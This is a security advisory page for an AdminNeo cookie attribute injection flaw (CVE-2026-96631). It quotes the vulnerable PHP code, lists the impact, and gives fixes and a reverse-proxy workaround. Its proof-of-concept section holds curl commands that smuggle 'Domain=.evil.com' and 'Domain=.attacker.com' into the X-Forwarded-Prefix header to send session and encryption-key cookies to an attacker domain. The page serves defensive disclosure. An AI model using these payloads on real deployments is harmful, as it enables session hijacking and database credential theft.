AdminNeo has Cookie Attribute Injection via Unsanitized X-Forwarded-Prefix in Set-Cookie Headers (CVE-2026-96631)
Published Sources: OSV, Hersteller
What is affected, what to do
Update Adminneo to version 5.5.1.
- Affected
- Adminneo
*..>= 4.6.0, < 5.5.1 - Adminneo
4.6.0..* - Adminneo
v4.10.0..* - Adminneo
v4.11.0..* - Adminneo
v4.12.0..* - Adminneo
v4.13.0..* - Adminneo
v4.14.0..* - Adminneo
v4.15.0..* - Adminneo
v4.16.0..* - Adminneo
v4.16.1..* - Adminneo
v4.17.0..* - Adminneo
v4.17.1..* - Adminneo
v4.17.2..* - Adminneo
v4.6.0..* - Adminneo
v4.6.1..* - Adminneo
v4.6.2..* - Adminneo
v4.6.3..* - Adminneo
v4.7.0..* - Adminneo
v4.7.1..* - Adminneo
v4.7.2..* - Adminneo
v4.7.3..* - Adminneo
v4.7.4..* - Adminneo
v4.7.5..* - Adminneo
v4.7.6..* - Adminneo
v4.7.7..* - Adminneo
v4.7.8..* - Adminneo
v4.7.9..* - Adminneo
v4.8.0..* - Adminneo
v4.8.1..* - Adminneo
v4.8.2..* - Adminneo
v4.9.0..* - Adminneo
v4.9.1..* - Adminneo
v4.9.2..* - Adminneo
v4.9.3..* - Adminneo
v4.9.4..* - Adminneo
v5.0.0..* - Adminneo
v5.0.0-rc..* - Adminneo
v5.1.0..* - Adminneo
v5.1.1..* - Adminneo
v5.2.0..* - Adminneo
v5.2.1..* - Adminneo
v5.3.0..* - Adminneo
v5.4.0..* - Adminneo
v5.4.1..* - Adminneo
v5.5.0..*
- Adminneo
- Fixed in
- Adminneo
5.5.1
- Adminneo
Not sure whether and how you are affected? Ask a question about this vulnerability
Metrics
—
Priority
No value is available for this vulnerability.
—
CVSS v3
No value is available for this vulnerability.
—
EPSS score
No value is available for this vulnerability.
Show all metrics
- Severity
- Not rated
Priority (0–325)
The priority score is a consolidated metric that condenses several individual signals into a single, action-guiding ranking: technical severity (CVSS), exploitation likelihood (EPSS), known-exploited status (KEV) and the context of the affected asset. The aim is to answer the only truly important question in vulnerability management: what first?
Read in glossary- 30.00 Methodology
Exploit maturity
An exploit is code or a technique that specifically uses a concrete vulnerability to force unintended behaviour — such as executing code or escalating privileges. It is the tool that turns a theoretical flaw into a practical attack.
Read in glossary- no public PoC known
KEV status
The KEV catalogue is a list maintained by the US authority CISA of vulnerabilities for which active exploitation in the wild has been confirmed. It answers not the question „how severe?“ but „is it already being attacked?“ — thereby sharply prioritising patching.
Read in glossary- —
- Published
CWE
CWE is a catalogue of typical weakness types in software and hardware — such as flawed input validation, unsafe memory handling or poor authentication. Where a CVE names a concrete vulnerability in a concrete product, a CWE describes the underlying class of defect.
Read in glossary- CWE-113, CWE-20
Detection rules
No NEOSEC detection rule is available for this vulnerability yet.
Classification under NIS2 and CRA
Rule-based classification from exploitation status and severity. It does not replace a case-by-case assessment.
NIS2
NIS2 is EU Directive (EU) 2022/2555 to raise the level of cybersecurity across the Union. It substantially broadens obligations compared with the first NIS directive: more sectors, mandatory risk management, staged reporting duties and personal accountability of senior management.
Read in glossary- Handle the vulnerability in regular vulnerability handling under Art. 21(2)(e) NIS2.
CRA
The CRA is EU Regulation (EU) 2024/2847 setting horizontal cybersecurity requirements for „products with digital elements“ — from industrial controllers and software to connected consumer devices. For the first time manufacturers must ensure security across the entire product lifecycle, handle vulnerabilities and provide security updates.
Read in glossary- From 11.12.2027, Annex I Part II CRA requires manufacturers of affected products with digital elements to handle vulnerabilities without delay and provide security updates.
ISO/IEC 27001
ISO/IEC 27001 is the internationally leading standard for an information security management system (ISMS). It describes a risk-based, process-oriented framework to systematically plan, implement, review and improve information security.
Read in glossary- Control A.8.8, management of technical vulnerabilities: assess relevance to your systems, plan remediation and keep evidence.
Description
Summary
AdminNeo versions 4.6.0 through at least 5.5.0 are vulnerable to cookie attribute injection via the X-Forwarded-Prefix HTTP header. An attacker who can influence this header (e.g., through a reverse proxy that forwards it from clients, an attacker-controlled upstream proxy, or a man-in-the-middle position) can inject arbitrary cookie attributes including Domain, Path, Secure, and SameSite into all Set-Cookie response headers emitted by AdminNeo.
This allows an attacker to expand the cookie scope to an attacker-controlled domain (e.g., Domain=.evil.com), causing the victim's browser to send AdminNeo's neo_sid (session ID) and neo_key (database password encryption key) cookies to the attacker's server on subsequent requests.
Originally reported by @retkoussa in Adminer: https://github.com/vrana/adminer/security/advisories/GHSA-c533-9qwm-8w5h
Vulnerable Code
Root cause 1 - Unsanitized header prepended to REQUEST_URI
(admin/include/bootstrap.inc.php, lines 50–52):
if ($_SERVER["HTTP_X_FORWARDED_PREFIX"]) {
$_SERVER["REQUEST_URI"] = $_SERVER["HTTP_X_FORWARDED_PREFIX"] . $_SERVER["REQUEST_URI"];
}
The client-supplied X-Forwarded-Prefix header is concatenated into REQUEST_URI with no validation or sanitization of special characters (specifically semicolons, which delimit cookie attributes).
Root cause 2 - Manual Set-Cookie header construction without escaping
(admin/include/functions.inc.php, lines 416–424):
function cookie(string $name, string $value, int $lifetime = 2592000): void
{
header("Set-Cookie: $name=" . rawurlencode($value)
. ($lifetime ? "; expires=" . gmdate("D, d M Y H:i:s", time() + $lifetime) . " GMT" : "")
. "; path=" . preg_replace('~\?.*~', '', $_SERVER["REQUEST_URI"])
. (HTTPS ? "; secure" : "")
. "; HttpOnly; SameSite=lax",
false);
}
The tainted REQUEST_URI is interpolated directly into the path= attribute of the Set-Cookie header. Since semicolons are not stripped or escaped, any ;-separated directives injected via X-Forwarded-Prefix become valid cookie attributes parsed by the browser.
Root cause 3 - Session cookie also tainted
(admin/include/bootstrap.inc.php, line 61):
session_set_cookie_params(0, preg_replace('~\?.*~', '', $_SERVER["REQUEST_URI"]), "", HTTPS, true);
The PHP session cookie (neo_sid) path is similarly derived from the tainted REQUEST_URI, extending the same vulnerability to the session cookie set by PHP itself.
Impact
- Session hijacking: The
neo_sidsession cookie is sent to the attacker's domain, allowing full session takeover. - Credential theft: The
neo_keycookie contains the key used to encrypt/decrypt database passwords stored in the session. With this key, an attacker can decrypt saved database credentials. - Session fixation: An attacker can inject arbitrary
Path,SameSite, andSecureattributes, manipulating cookie behavior. - Wide applicability: The
X-Forwarded-Prefixheader was specifically added to support reverse proxy deployments (TraefikPathPrefixStrip, nginx, HAProxy). These are the exact environments where this header is forwarded from clients, making the vulnerability relevant in the deployments it was designed for.
Affected Cookies
|Cookie|Content|Risk|
|neo_sid|PHP session ID|Session hijacking|
|neo_key|Encryption key for stored DB passwords|Credential theft|
|neo_settings|User preferences|Low (information disclosure)|
Proof of Concept
# Normal request with clean Set-Cookie headerss:
curl -sI http://localhost:8080/adminneo/index.php | grep -i set-cookie
> Response: Set-Cookie: neo_key=...; path=/adminneo/index.php; HttpOnly; SameSite=lax
# Malicious request — inject Domain=.evil.com:
curl -sI -H "X-Forwarded-Prefix: /adminneo; Domain=.evil.com" \
http://localhost:8080/adminneo/index.php | grep -i set-cookie
> Response: Set-Cookie: neo_key=...; path=/adminneo; Domain=.evil.com/adminneo/index.php; HttpOnly; SameSite=lax
# ^^^^^^^^^^^^^^^^^^^^^^^^^^^ INJECTED
# Full attribute override - inject Domain + SameSite=None:
curl -sI -H "X-Forwarded-Prefix: /; Path=/; Domain=.attacker.com; SameSite=None" \
http://localhost:8080/adminneo/index.php | grep -i set-cookie
> Response Set-Cookie: neo_key=...; path=/; Path=/; Domain=.attacker.com; SameSite=None/adminneo/index.php; ...
Recommended Fix
- Sanitize
X-Forwarded-Prefix: Strip or reject semicolons, newlines, and other HTTP header metacharacters from theX-Forwarded-Prefixvalue before using it. - Use
setcookie()/setrawcookie(): Replace the manualheader("Set-Cookie: ...")construction incookie()with PHP's built-insetcookie()function, which properly escapes attribute values. - Validate
REQUEST_URIbefore cookie use: After any prefix manipulation, strip characters that are invalid in a cookiepathattribute (;,,, whitespace per RFC 6265).
// Example fix for bootstrap.inc.php:
if ($_SERVER["HTTP_X_FORWARDED_PREFIX"]) {
$prefix = preg_replace('~[;\r\n].*~', '', $_SERVER["HTTP_X_FORWARDED_PREFIX"]);
$_SERVER["REQUEST_URI"] = $prefix . $_SERVER["REQUEST_URI"];
}
Server Based Workaround Via Config
Configure the reverse proxy to set X-Forwarded-Prefix to a static, trusted value rather than forwarding the client-supplied header:
# nginx — secure configuration:
fastcgi_param HTTP_X_FORWARDED_PREFIX /adminneo; # static value, not $http_x_forwarded_prefix
# Traefik, use middleware instead of client headers:
middlewares:
strip-prefix:
stripPrefix:
prefixes:
- "/adminneo"
Source: OSV (Open Source Vulnerabilities), GitHub Security Advisories
Affected products
The following versions are affected. Older releases of the same product line are also vulnerable unless stated otherwise.
| Affected versions | Fixed in | ||
|---|---|---|---|
| composer | adminneo-org/adminneo |
|
|
| packagist | adminneo-org/adminneo |
|
|
Weakness classes (CWE)
CWE-113Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Request/Response Splitting')
Variant
The product receives data from an HTTP agent/component (e.g., web server, proxy, browser, etc.), but it does not neutralize or incorrectly neutralizes CR and LF characters before the data is included in outgoing HTTP headers.
Entry at MITRE CWE-113CWE-20Improper Input Validation
Class
The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.
Entry at MITRE CWE-20
References & sources
- github.comadminneo-org/adminneo/security/advisories/GHSA-79wv-8rh2-9vp2web
- github.comadminneo-org/adminneo/commit/aa6f2544a8a65cf5e8317f1a902f74181e…web
- github.comadminneo-org/adminneopackage
- github.comadminneo-org/adminneo/releases/tag/v5.5.1web
Embed badge
Show the severity and KEV status of this vulnerability on your site – with a link back here. The image is updated hourly.
<a href="https://intel.neosec.eu/en/cve/CVE-2026-96631"><img src="https://intel.neosec.eu/badge/cve/CVE-2026-96631.svg?lang=en" alt="CVE-2026-96631 – NEOSEC Intel" height="20"></a>